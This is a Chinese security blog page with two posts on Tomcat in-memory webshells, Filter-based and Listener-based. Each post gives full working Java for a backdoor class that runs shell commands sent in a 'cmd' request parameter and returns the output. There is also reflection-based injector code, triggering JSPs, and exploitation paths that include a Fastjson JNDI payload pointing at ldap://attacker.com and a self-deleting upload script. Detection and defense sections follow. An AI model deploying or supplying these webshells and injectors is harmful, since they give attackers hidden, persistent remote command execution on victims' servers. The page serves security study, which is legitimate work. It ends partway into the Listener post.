Capable

Change's a good thing


  • 首页

  • 分类

  • 关于

  • 归档

  • 标签

  • 站点地图

  • 公益404

  • 搜索

Tomcat Filter 内存马

发表于 2025-12-27 | 分类于 漏洞分析 |

Filter 内存马

内存马是指无文件落地、仅在内存中运行的 Webshell。与传统 JSP Webshell 不同,内存马不依赖磁盘文件,难以被常规文件扫描工具发现。Filter 型内存马利用 Tomcat 的 Filter 机制,在运行时动态注册恶意 Filter,拦截所有 HTTP 请求,是最常见的内存马类型。

本质:模拟 Tomcat 启动时的 Filter 动态注册——addFilterDef / addFilterMap / 反射构造 ApplicationFilterConfig,把恶意 doFilter 代码 + /* URL 映射组装进 StandardContext 的 filterDefs / filterMaps / filterConfigs,让 ApplicationFilterFactory 在下一次请求构建 Filter 链时把它当普通 Filter 调度。整体框架见 《内存马原理总纲》。


一、Tomcat Filter 机制

1.1 Filter 执行流程

HTTP 请求
    ↓
StandardEngine → StandardHost → StandardContext
    ↓
StandardWrapperValve.invoke()
    ↓
ApplicationFilterChain.doFilter()
    ↓
Filter1 → Filter2 → ... → Servlet.service()

当一个 HTTP 请求到达 Tomcat 时,ApplicationFilterChain 负责按照 FilterMap 的顺序依次调用匹配的 Filter,最后到达 Servlet。

1.2 核心类关系

StandardContext
├── filterDefs: HashMap<String, FilterDef>     // Filter 定义
├── filterMaps: FilterMap[]                     // Filter-URL 映射(有序)
├── filterConfigs: HashMap<String, ApplicationFilterConfig>  // Filter 实例配置
└── pipeline (StandardPipeline)
    └── StandardContextValve → StandardWrapperValve

三个关键数据结构:

组件 作用 关键字段
FilterDef 存储 Filter 的元信息 filterName, filterClass, filter, initParameters
FilterMap 定义 Filter 与 URL 的映射关系 filterName, urlPatterns, dispatcherTypes
ApplicationFilterConfig 持有 Filter 实例,管理生命周期 filterDef, filter 实例

1.3 Filter 加载的源码分析

Tomcat 启动时通过 ContextConfig.configureStart() 解析 web.xml 和注解,调用的核心逻辑在 StandardContext 中:

// StandardContext.filterStart() —— 初始化所有 Filter
public boolean filterStart() {
    for (FilterDef filterDef : filterDefs.values()) {
        ApplicationFilterConfig filterConfig = 
            new ApplicationFilterConfig(this, filterDef);
        filterConfigs.put(filterDef.getFilterName(), filterConfig);
    }
    return true;
}
// ApplicationFilterChain.internalDoFilter() —— 请求过滤链
private void internalDoFilter(ServletRequest request, ServletResponse response) {
    if (pos < n) {
        ApplicationFilterConfig filterConfig = filters[pos++];
        Filter filter = filterConfig.getFilter();
        filter.doFilter(request, response, this);
        return;
    }
    // 全部 Filter 执行完毕,进入 Servlet
    servlet.service(request, response);
}

二、动态注册原理

核心思路:利用反射获取 StandardContext 对象,动态向其中添加 FilterDef 和 FilterMap。

2.1 获取 StandardContext

在 Tomcat 中,可以通过多种方式获取当前 StandardContext 对象:

// 方式一:通过 request 获取(需要反射突破访问限制)
ServletRequest request = ...;
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(request);
StandardContext context = (StandardContext) req.getContext();
// 方式二:通过 Thread 获取(JSP 场景)
Field contextField = Thread.currentThread().getContextClassLoader()
    .getClass().getSuperclass().getDeclaredField("resources");
// ... 逐步反射获取 StandardContext
// 方式三:通过 MBean(JMX)
MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
ObjectName name = new ObjectName("Catalina:type=Server");
// 遍历获取 StandardContext

2.2 动态注册步骤

1. 编写恶意 Filter 类(实现 Filter 接口)
2. 获取 StandardContext 对象
3. 创建 FilterDef 并设置 filterName / filterClass / filter
4. 将 FilterDef 添加到 context.filterDefs
5. 创建 FilterMap 并设置 URL 映射
6. 将 FilterMap 插入到 context.filterMaps 数组首位
7. 创建 ApplicationFilterConfig 并添加到 context.filterConfigs

三、完整代码实现

3.1 恶意 Filter 类

import javax.servlet.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;

public class FilterMemShell implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, 
                         FilterChain chain) throws IOException, ServletException {
        // 从请求中获取命令参数
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                // 统一命令执行:shell 执行 + 合并 stderr,避免管道死锁(exec 方法见下方)
                String result = exec(cmd);
                // 回显命令执行结果
                response.getWriter().write("<pre>" + result + "</pre>");
                return; // 不继续调用 chain,直接返回
            } catch (Exception e) {
                response.getWriter().write("Error: " + e.getMessage());
            }
        }
        // 正常请求放行
        chain.doFilter(request, response);
    }

    /**
     * 统一命令执行器(本系列 Filter / Servlet / Listener 三篇通用)
     * - 通过 shell 执行,支持管道、重定向等语法(/bin/sh -c 或 cmd /c)
     * - redirectErrorStream(true):把 stderr 合并进 stdout,避免
     *   "先读 stdout 再读 stderr" 顺序读取时管道写满导致的两端互相阻塞
     * - 字节循环读取而非 Scanner,输出量大时不会阻塞
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }

    @Override
    public void destroy() {
    }
}

3.2 注入器代码

import org.apache.catalina.Context;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.*;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;

public class FilterMemShellInjector {

    /**
     * 注入 Filter 内存马
     * @param request HttpServletRequest 对象
     */
    public static void inject(ServletRequest request) throws Exception {
        // Step 1: 获取 StandardContext
        StandardContext context = getStandardContext(request);

        // Step 2: 检查是否已注入(避免重复)
        String filterName = "FilterMemShell";
        if (context.findFilterDef(filterName) != null) {
            System.out.println("[!] Filter already injected: " + filterName);
            return;
        }

        // Step 3: 创建 FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(FilterMemShell.class.getName());
        filterDef.setFilter(new FilterMemShell());

        // Step 4: 添加 FilterDef 到 context
        context.addFilterDef(filterDef);

        // Step 5: 创建 FilterMap(映射到所有 URL)
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher("REQUEST");

        // Step 6: 将 FilterMap 插入到首位(确保优先执行)
        // 注意:context.addFilterMap() 只会【追加到末尾】,无法保证优先级!
        // 用自定义方法 insertFilterMapFirst() 反射插入首位——兼容旧 FilterMap[] 数组
        // 与新 ContextFilterMaps 对象两种字段类型,任何 Tomcat 版本都可用
        insertFilterMapFirst(context, filterMap);

        // Step 7: 反射获取并操作 filterConfigs
        Field configsField = StandardContext.class.getDeclaredField("filterConfigs");
        configsField.setAccessible(true);
        Map<String, ApplicationFilterConfig> filterConfigs = 
            (Map<String, ApplicationFilterConfig>) configsField.get(context);

        // 手动创建 ApplicationFilterConfig(绕过生命周期检查)
        Constructor<ApplicationFilterConfig> constructor = 
            ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = 
            constructor.newInstance(context, filterDef);
        filterConfigs.put(filterName, filterConfig);
    }

    /**
     * 【自定义辅助方法,不是 Tomcat API】
     * 把 filterMap 插入到 filterMaps 首位,兼容两种字段类型:
     * - 旧版本:字段是 FilterMap[] 数组,重建数组放到 0 号位;
     * - 新版本(实测 Tomcat 8.5.39 起即如此):字段是 ContextFilterMaps 对象,
     *   反射调 addBefore(FilterMap)。注意该类是包私有的(final class),
     *   反射调用其 public 方法也必须 setAccessible(true),否则 IllegalAccessException。
     * findFilterMaps() 每次返回数组克隆,插入后下一次请求构建的 Filter 链就会按新顺序执行。
     */
    private static void insertFilterMapFirst(StandardContext context, FilterMap filterMap)
            throws Exception {
        Field mapsField = StandardContext.class.getDeclaredField("filterMaps");
        mapsField.setAccessible(true);
        Object filterMaps = mapsField.get(context);
        if (filterMaps instanceof FilterMap[]) {
            // 旧版本:字段是 FilterMap[] 数组
            FilterMap[] oldMaps = (FilterMap[]) filterMaps;
            FilterMap[] newMaps = new FilterMap[oldMaps.length + 1];
            newMaps[0] = filterMap;
            System.arraycopy(oldMaps, 0, newMaps, 1, oldMaps.length);
            mapsField.set(context, newMaps);
        } else {
            // 新版本:字段是 ContextFilterMaps(包私有类),反射调 addBefore
            Method addBefore = filterMaps.getClass().getMethod("addBefore", FilterMap.class);
            addBefore.setAccessible(true);
            addBefore.invoke(filterMaps, filterMap);
        }
    }

    /**
     * 从 request 中获取 StandardContext
     */
    private static StandardContext getStandardContext(ServletRequest servletRequest) 
            throws Exception {
        // 反射获取内部的 Request 对象
        Field requestField = servletRequest.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        Request request = (Request) requestField.get(servletRequest);
        return (StandardContext) request.getContext();
    }
}

3.3 触发注入的 JSP

说明:以下 JSP 引用默认包类 FilterMemShellInjector,为讲解简化(假设恶意类已部署)。真实利用时 JSP 必须自包含——把恶意类内联进 <%! %> 并直接注册(写法见 Valve 篇 3.4),或由反序列化 defineClass 提供类;测试工程已提供自包含版本。

<%@ page import="java.lang.reflect.*, org.apache.catalina.core.*, 
    org.apache.tomcat.util.descriptor.web.*, javax.servlet.*" %>
<%
    try {
        FilterMemShellInjector.inject(request);
        out.println("Filter memory shell injected successfully!");
        out.println("Access: ?cmd=whoami");
    } catch (Exception e) {
        out.println("Injection failed: " + e.getMessage());
        e.printStackTrace();
    }
%>

四、代码详解

4.1 为什么要插入 FilterMap 首位?

ApplicationFilterChain 是按照 filterMaps 数组的顺序依次调用 Filter 的(每次请求都会按当前 filterMaps 重新构建链,因此运行时插入立即生效)。将恶意 Filter 插入到首位可以保证它在其他 Filter(如鉴权 Filter)之前执行,从而:

  • 绕过认证拦截,直接执行命令(若前面的鉴权 Filter 不放行,排在末尾的 Filter 永远不会被触发)
  • 即使后续 Filter 抛出异常,恶意逻辑已经执行完毕
// ApplicationFilterChain 中的匹配逻辑(遍历顺序 = filterMaps 数组顺序)
for (FilterMap filterMap : filterMaps) {
    if (matchFiltersURL(filterMap, requestPath)) {
        ApplicationFilterConfig filterConfig = filterConfigs.get(filterMap.getFilterName());
        if (filterConfig != null) {
            filters.add(filterConfig);
        }
    }
}

重要:context.addFilterMap() 只是【追加到数组末尾】,并不是插入首位! Tomcat 源码中它的实现 是 results[filterMaps.length] = filterMap,新映射排在所有已有映射之后。要让恶意 Filter 真正插到 最前面,必须:

  • 通用(推荐):反射改写 filterMaps(见 3.2 节自定义方法 insertFilterMapFirst), 兼容旧 FilterMap[] 数组与新 ContextFilterMaps 对象两种字段类型,任何版本可用;
  • 官方 API:context.addFilterMapBefore(filterMap)(较新 Tomcat 提供),插入到 0 号位。

早期注入器代码写的是 context.addFilterMap(filterMap),只能保证”能用”(目标无前置拦截时依然 会被执行),无法保证优先级;本节示例已改为 insertFilterMapFirst() 反射插入首位。

4.2 反射创建 ApplicationFilterConfig 的必要性

正常情况下,ApplicationFilterConfig 是由 Tomcat 在启动阶段通过 StandardContext.filterStart() 方法统一创建的。运行时直接向 filterDefs 添加 FilterDef 并不会自动创建 ApplicationFilterConfig,因此需要手动通过反射调用构造函数来完成实例化。

4.3 防止重复注入

if (context.findFilterDef(filterName) != null) {
    return; // 已存在,跳过
}

每次请求都注入会导致内存中产生多个同名 Filter,既不规范也容易被发现。

4.4 版本兼容性

Tomcat 版本 Servlet 包 filterMaps 字段类型 插入方式
8.5.x(早期) javax.servlet FilterMap[] 数组 insertFilterMapFirst 重建数组
8.5.39+ / 9.x / 10.x / 11.x javax / jakarta ContextFilterMaps 对象 insertFilterMapFirst 反射调 addBefore
  • filterMaps 字段在较新 Tomcat(实测 Tomcat 8.5.39 起即如此)从 FilterMap[] 数组重构为 ContextFilterMaps 对象(含 asArray / add / addBefore / remove 方法,类本身是包私有的), insertFilterMapFirst() 已兼容两种字段类型。
  • 官方 context.addFilterMapBefore() 在较新 Tomcat 提供;不确定版本时直接用 insertFilterMapFirst() 反射兜底最稳妥。
  • Tomcat 10+ 已将 Servlet 规范迁移为 jakarta.servlet(Servlet 5.0),本系列代码基于 javax.servlet(Tomcat 8.x / 9.x)编写,移植到 10+ 需全局替换包名。
  • 反射访问的私有字段(filterConfigs、filterMaps 等)在不同大版本间字段名相对稳定,但不保证 不变;字段变更时 getDeclaredField 会抛 NoSuchFieldException,实战前应确认目标版本。
  • 命令执行统一使用 ProcessBuilder + redirectErrorStream(true),解决原 Scanner 顺序读取 stdout/stderr 时的管道死锁问题;addFilterMap() 追加末尾的行为已在 4.1 节说明。

五、利用场景

5.1 Shiro 反序列化 → 注入内存马

Shiro rememberMe 反序列化获取代码执行能力后,注入 Filter 内存马实现持久化:

// 反序列化 payload 中的代码片段
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
// ... 注册 Filter

利用流程:

Shiro rememberMe Cookie → AES 解密 → 反序列化 → 代码执行
    → 反射获取 StandardContext → 注入 Filter 内存马
    → 访问 /?cmd=whoami → 命令回显

5.2 Fastjson 反序列化 → JNDI 注入

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://attacker.com/EvilClass",
  "autoCommit": true
}

EvilClass 的静态代码块中执行 Filter 注入逻辑。

5.3 文件上传 → 注入后删除

1. 上传 JSP 注入脚本到 web 目录
2. 访问 JSP 触发注入
3. JSP 执行完毕后自我删除(new File(application.getRealPath("/shell.jsp")).delete())
4. 内存马持久化运行,磁盘无残留

5.4 Spring Boot Actuator 环境修改

通过 /actuator/env 端点修改 logging 配置,注入恶意 XML 触发代码执行后注册内存马。


六、检测方式

6.1 JMX 检查

# 连接本地 JMX
jconsole

# 或使用 jcmd 列出 MBean
jcmd <pid> ManagementAgent.start_local

通过 JMX 查看 Catalina:type=Context 下的 filterDefs 和 filterMaps 属性。

6.2 Arthas 在线查杀

# 启动 Arthas
java -jar arthas-boot.jar

# 查看所有的 Filter
vmtool --action getInstances --className org.apache.tomcat.util.descriptor.web.FilterDef --limit 50

# 查看 StandardContext 中的 filterDefs(filterDefs 是实例字段,需先拿实例)
vmtool --action getInstances --className org.apache.catalina.core.StandardContext --express 'instances[0].filterDefs' --limit 10

# 使用 sc 搜索可疑 Filter
sc *.Filter*

6.3 JVM 内存分析

# dump 内存
jmap -dump:format=b,file=heapdump.hprof <pid>

# 使用 MAT / VisualVM 分析
# 搜索 FilterDef / ApplicationFilterConfig 对象

6.4 Java Agent 检测脚本

// 通过 agent 监控 Context 的 filterDefs 变化
public class FilterMonitor implements ClassFileTransformer {
    @Override
    public byte[] transform(...) {
        // 监控 Context.addFilterDef() 和 Context.addFilterMap() 方法
        // 记录非启动阶段的调用
    }
}

七、防御建议

7.1 运行时防御

层面 措施 说明
JVM 层 部署 RASP 监控反射调用 addFilterDef / addFilterMap
容器层 Security Manager 限制反射访问 StandardContext 内部字段
系统层 WAF 检测请求参数中的命令注入特征

7.2 周期性巡检

# 1. 通过 JMX 导出当前 Filter 映射(需开启 JMX)
jcmd <pid> ManagementAgent.start_local
# jconsole → Catalina → Context → /your-app → Operations → findFilterMaps()

# 2. 或用 Arthas 导出 filterMaps / filterDefs 与基线比对
vmtool --action getInstances --className org.apache.catalina.core.StandardContext --express 'instances[0].filterMaps' --limit 10
vmtool --action getInstances --className org.apache.tomcat.util.descriptor.web.FilterMap --express 'instances' --limit 50

# 3. 检查可疑 Filter 类(类名 / 类来源)
sc *.FilterMemShell*
vmtool --action getInstances --className javax.servlet.Filter --express 'instances' --limit 50

# 注:/manager/html/list 只列出已部署的 Web 应用,看不到 Filter,不能用于此对比

7.3 开发规范

// 反序列化白名单
import java.io.*;

public class SafeObjectInputStream extends ObjectInputStream {
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) {
        if (!isAllowed(desc.getName())) {
            throw new InvalidClassException("Unauthorized deserialization");
        }
        return super.resolveClass(desc);
    }
}

八、总结

Filter 内存马的核心在于理解 Tomcat 的 Filter 加载机制:

  1. 知道目标:StandardContext 中的 filterDefs、filterMaps、filterConfigs
  2. 获取入口:通过反射链获取 StandardContext 对象
  3. 动态注册:构造并插入 FilterDef + FilterMap
  4. 触发执行:恶意 Filter 拦截所有匹配的请求,实现持续控制

Filter 内存马的隐蔽性极高,传统的文件扫描、日志审计难以发现。防御的关键在于:

  • 事前:修复反序列化等 RCE 漏洞,切断注入入口
  • 事中:部署 RASP 进行运行时行为监控
  • 事后:周期性 JVM 内存取证,对比 Filter 基线
延伸阅读:Tomcat Servlet 内存马 Tomcat Listener 内存马 Tomcat Valve 内存马 Java Agent 内存马 Spring 容器内存马 WebSocket 等偏门内存马 Tomcat基础
阅读全文 »

Tomcat Listener 内存马

发表于 2025-12-27 | 分类于 漏洞分析 |

Listener 内存马

Listener(监听器)型内存马利用 Tomcat 的事件监听机制,在特定事件(如请求到达、Session 创建)触发时执行恶意代码。相比 Filter 和 Servlet 型内存马,Listener 型具有更高的隐蔽性 —— 大多数安全产品不监控 Listener 的注册行为。

本质:模拟 addApplicationEventListener,把恶意回调 + “请求到达事件”组装进监听器列表;请求到达时 StandardHostValve 派发 requestInitialized 事件,无需任何 URL 映射。整体框架见 《内存马原理总纲》。


一、Tomcat Listener 机制

1.1 什么是 Listener

Listener 是 Servlet 规范中的观察者模式实现,用于监听 Web 应用中的生命周期事件。Tomcat 容器在特定事件发生时,会调用已注册的 Listener 回调方法。

事件源(Event Source)          事件(Event)          监听器(Listener)
─────────────────────    ───────────────────    ────────────────────
Context 启动              ServletContextEvent    contextInitialized()
请求到达                  ServletRequestEvent    requestInitialized()
请求结束                  ServletRequestEvent    requestDestroyed()
Session 创建              HttpSessionEvent       sessionCreated()
Session 销毁              HttpSessionEvent       sessionDestroyed()
属性变更                  ServletContextAttributeEvent  attributeAdded()

1.2 Listener 类型总览

监听器接口 触发时机 适用场景
ServletContextListener 应用启动 / 关闭 一次性初始化逻辑
ServletRequestListener 每个请求到达 / 完成 每条请求都可触发 ← 内存马首选
HttpSessionListener Session 创建 / 销毁 隐蔽性好(低频触发)
ServletRequestAttributeListener 请求属性变更 特定场景
HttpSessionAttributeListener Session 属性变更 特定场景
ServletContextAttributeListener Context 属性变更 隐蔽性极高

1.3 Listener 的注册与调用流程

// StandardContext 中维护的 Listener 列表
public class StandardContext extends ContainerBase implements Context {
    // 应用级监听器(通过 web.xml 或 @WebListener 注册)
    private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();
    
    // 生命周期监听器(框架内部使用)
    private List<Object> lifecycleListeners = new CopyOnWriteArrayList<>();
    
    // 添加监听器
    public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
    }
}

请求到达时的调用链:

CoyoteAdapter.service()
    → StandardEngineValve.invoke()
        → StandardHostValve.invoke()
            → StandardContextValve.invoke()
                → StandardWrapperValve.invoke()
                    → ApplicationFilterChain.doFilter()

关键点:ServletRequestListener.requestInitialized() 在 Filter 链之前调用,这意味着 Listener 的执行优先级高于 Filter。


二、动态注册原理

2.1 注册方式对比

注册方式 示例 动态性
web.xml <listener-class> 静态
注解 @WebListener 静态
代码调用 context.addApplicationEventListener() 动态 ← 攻击面

addApplicationEventListener() 方法是 public 的,不需要反射即可调用,是天然的内存马注入入口。

2.2 动态注册步骤

1. 编写恶意 Listener 类(实现 ServletRequestListener)
2. 获取 StandardContext 对象(反射链)
3. 调用 context.addApplicationEventListener(maliciousListener)
4. 无需额外配置 —— 下一个请求到达时自动触发

相比 Filter 内存马,Listener 内存马的注入步骤更少:

  • 不需要构造 FilterDef / FilterMap
  • 不需要手动创建 ApplicationFilterConfig
  • 不需要关心数组排序

三、完整代码实现

3.1 恶意 Listener 类(基础版)

import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;

/**
 * 基于 ServletRequestListener 的内存马
 * 每个 HTTP 请求都会触发 requestInitialized()
 */
public class ListenerMemShell implements ServletRequestListener {

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        ServletRequest servletRequest = sre.getServletRequest();
        HttpServletRequest request = (HttpServletRequest) servletRequest;

        // 提取命令参数
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                String result = exec(cmd);

                // 回显 —— 通过两步反射获取 Response 对象(见 4.2 详解)
                // 注意:servletRequest 实际类型是 RequestFacade,
                // 需先获取内部 Request,再从中取 response 字段
                Field reqField = servletRequest.getClass()
                    .getDeclaredField("request");
                reqField.setAccessible(true);
                Object innerRequest = reqField.get(servletRequest);

                Field responseField = innerRequest.getClass()
                    .getDeclaredField("response");
                responseField.setAccessible(true);
                HttpServletResponse response = (HttpServletResponse)
                    responseField.get(innerRequest);

                if (!response.isCommitted()) {
                    response.getWriter().write("<pre>" + result + "</pre>");
                }
            } catch (Exception ignored) {
                // 静默处理,不影响正常业务
            }
        }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        // 无需操作
    }

    /**
     * 统一命令执行器(本系列 Filter / Servlet / Listener 三篇通用)
     * - 通过 shell 执行,支持管道、重定向等语法(/bin/sh -c 或 cmd /c)
     * - redirectErrorStream(true):把 stderr 合并进 stdout,避免
     *   "先读 stdout 再读 stderr" 顺序读取时管道写满导致的两端互相阻塞
     * - 字节循环读取而非 Scanner,输出量大时不会阻塞
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

3.2 恶意 Listener 类(增强版 —— 多重监听器)

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;

/**
 * 同时实现多个监听器接口,增加触发路径
 */
public class MultiListenerMemShell 
        implements ServletRequestListener, 
                   HttpSessionListener, 
                   ServletContextListener {

    // ===== ServletRequestListener =====
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        executeCommand(sre.getServletRequest());
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {}

    // ===== HttpSessionListener =====
    @Override
    public void sessionCreated(HttpSessionEvent se) {
        // Session 创建时:从 Session 属性中获取命令
        HttpSession session = se.getSession();
        String sessionCmd = (String) session.getAttribute("__cmd__");
        if (sessionCmd != null && !sessionCmd.isEmpty()) {
            executeCommand(sessionCmd);
            session.removeAttribute("__cmd__");
        }
    }

    @Override
    public void sessionDestroyed(HttpSessionEvent se) {}

    // ===== ServletContextListener =====
    @Override
    public void contextInitialized(ServletContextEvent sce) {
        // 注入时机:如果能在此阶段注入,则后续所有请求都会被监听
        // 通常在动态注入场景下,此处不会执行(应用已启动完毕)
    }

    @Override
    public void contextDestroyed(ServletContextEvent sce) {}

    /**
     * 统一命令执行入口(请求触发路径)
     */
    private void executeCommand(ServletRequest request) {
        String cmd = request.getParameter("cmd");
        if (cmd == null || cmd.isEmpty()) return;

        try {
            String result = exec(cmd);

            // 反射回显
            // 注意:request 实际类型是 RequestFacade,需先获取内部 Request
            Field reqField = request.getClass()
                .getDeclaredField("request");
            reqField.setAccessible(true);
            Object innerRequest = reqField.get(request);

            Field responseField = innerRequest.getClass()
                .getDeclaredField("response");
            responseField.setAccessible(true);
            HttpServletResponse response = (HttpServletResponse)
                responseField.get(innerRequest);

            // 确保响应未提交
            if (!response.isCommitted()) {
                response.getWriter().write("<pre>" + result + "</pre>");
            }
        } catch (Exception ignored) {
        }
    }

    /**
     * Session 场景的备用执行方法
     * 注意:HttpSession 事件回调中拿不到当前请求的 Response 对象,无法直接回显,
     * 这里把结果打印到服务端日志。若要回显,可把结果存入 Application/Session
     * 属性,再由其他页面读取展示。
     */
    private void executeCommand(String cmd) {
        try {
            String result = exec(cmd);
            System.out.println("[ListenerShell] " + result);
        } catch (Exception ignored) {
        }
    }

    /**
     * 统一命令执行器(本系列 Filter / Servlet / Listener 三篇通用)
     * - 通过 shell 执行,支持管道、重定向等语法(/bin/sh -c 或 cmd /c)
     * - redirectErrorStream(true):把 stderr 合并进 stdout,避免
     *   "先读 stdout 再读 stderr" 顺序读取时管道写满导致的两端互相阻塞
     * - 字节循环读取而非 Scanner,输出量大时不会阻塞
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

3.3 注入器代码

import org.apache.catalina.core.StandardContext;
import java.lang.reflect.Field;

public class ListenerMemShellInjector {

    /**
     * 注入 Listener 内存马
     * 核心:调用 StandardContext.addApplicationEventListener()
     */
    public static void inject(StandardContext context) {
        // Step 1: 检查是否已注入(防重复)
        for (Object listener : context.getApplicationEventListeners()) {
            if (listener.getClass().getName()
                    .equals("ListenerMemShell")) {
                System.out.println("[!] Listener already injected.");
                return;
            }
        }

        // Step 2: 创建恶意 Listener 实例
        ListenerMemShell listener = new ListenerMemShell();

        // Step 3: 直接调用 public 方法注册(无需反射!)
        context.addApplicationEventListener(listener);

        System.out.println("[+] Listener memory shell injected.");
    }

    /**
     * 从 request 获取 StandardContext 并注入
     */
    public static void injectFromRequest(javax.servlet.ServletRequest request) 
            throws Exception {
        // 获取 StandardContext(与 Filter 篇相同方法)
        Field requestField = request.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        org.apache.catalina.connector.Request req = 
            (org.apache.catalina.connector.Request) requestField.get(request);
        StandardContext context = (StandardContext) req.getContext();
        
        inject(context);
    }
}

3.4 触发注入的 JSP

说明:以下 JSP 引用默认包类 ListenerMemShell,为讲解简化(假设恶意类已部署)。真实利用时 JSP 必须自包含——把恶意类内联进 <%! %> 并直接注册(写法见 Valve 篇 3.4),或由反序列化 defineClass 提供类;测试工程已提供自包含版本。

<%@ page import="org.apache.catalina.core.*, org.apache.catalina.connector.Request, java.lang.reflect.Field" %>
<%
    try {
        // 获取 StandardContext
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();

        // 一行注册
        context.addApplicationEventListener(new ListenerMemShell());
        
        out.println("[+] Listener memory shell injected!");
        out.println("[+] Test: curl 'http://target/?cmd=whoami'");
    } catch (Exception e) {
        out.println("[-] Failed: " + e.getMessage());
    }
%>

四、代码详解

4.1 为什么 Listener 注入最简单?

// Filter 内存马注入步骤(多步反射)
FilterDef filterDef = new FilterDef();           // Step 1
filterDef.setFilterName(name);                   // Step 2
filterDef.setFilterClass(className);             // Step 3
context.addFilterDef(filterDef);                 // Step 4
FilterMap filterMap = new FilterMap();           // Step 5
filterMap.addURLPattern("/*");                   // Step 6
context.addFilterMap(filterMap);                 // Step 7
// 还需要反射创建 ApplicationFilterConfig...      // Step 8

// Listener 内存马注入(一步到位)
context.addApplicationEventListener(maliciousListener);  // DONE ✓

addApplicationEventListener() 是 Context 接口的 public 方法,直接可用,无需任何反射操作来辅助注册。

4.2 回显的技术细节

Listener 的 requestInitialized 方法只接收 ServletRequestEvent 参数,无法直接获取 HttpServletResponse。需要通过两步反射:

// Tomcat 内部结构
// ServletRequestEvent.getServletRequest() → RequestFacade
//   └── request 字段 → org.apache.catalina.connector.Request
//         └── response 字段 → org.apache.catalina.connector.Response

关键点:RequestFacade 只有 request 字段(指向内部 Request),没有 response 字段。getDeclaredField() 只查找当前类声明的字段,不会向上搜索父类。因此必须:

// Step 1: 从 RequestFacade 中取出内部 Request
Field reqField = servletRequest.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Object innerRequest = reqField.get(servletRequest);

// Step 2: 从内部 Request 中取出 Response
Field responseField = innerRequest.getClass().getDeclaredField("response");
responseField.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) responseField.get(innerRequest);

4.3 防重复注入

// 检查当前已注册的 Listener
for (Object listener : context.getApplicationEventListeners()) {
    if (listener.getClass().getName().equals("ListenerMemShell")) {
        return; // 已注入
    }
}

4.4 三种内存马优先级关系

HTTP 请求到达
    ↓
① Listener.requestInitialized()    ← 最早执行
    ↓
② Filter.doFilter()                ← 中间拦截
    ↓
③ Servlet.service()                ← 最后处理

Listener 在所有组件中最先被调用,这意味着即使 Filter 链中抛出异常或返回错误,Listener 的逻辑也已执行完毕。

4.5 版本兼容性

